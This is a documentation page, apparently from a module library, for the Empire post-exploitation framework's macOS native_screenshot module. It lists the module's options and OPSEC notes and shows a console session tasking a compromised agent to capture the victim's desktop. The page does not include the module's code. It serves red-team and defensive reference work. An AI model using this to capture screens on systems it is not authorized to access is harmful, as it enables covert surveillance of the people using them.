NativeScreenshot - Empire Module


This page contains detailed information about how to use the python/collection/osx/native_screenshot Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: NativeScreenshot
Module: python/collection/osx/native_screenshot
Source code: empire/server/modules/python/collection/osx/native_screenshot.yaml
MITRE ATT&CK: T1113
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The native_screenshot module takes a screenshot of an OSX desktop using the Python Quartz libraries and returns the data.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the native_screenshot module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the native_screenshot module:

Agent
Agent to execute module on.

Native_screenshot Example Usage


Here's an example of how to use the native_screenshot module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/collection/osx/native_screenshot

 Author       @xorrior                                                               
 Background   False                                                                  
 Description  Takes a screenshot of an OSX desktop using the Python Quartz libraries 
              and returns the data.                                                  
 Language     python                                                                 
 Name         python/collection/osx/native_screenshot                                
 NeedsAdmin   False                                                                  
 OpsecSafe    False                                                                  
 Techniques   http://attack.mitre.org/techniques/T1113                               


,Record Options-,----------,-----------------------------,
| Name  | Value | Required | Description                 |
|-------|-------|----------|-----------------------------|
| Agent |       | True     | Agent to execute module on. |
'-------'-------'----------'-----------------------------'

(Empire: usemodule/python/collection/osx/native_screenshot) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/osx/native_screenshot) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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References


See Also


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Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.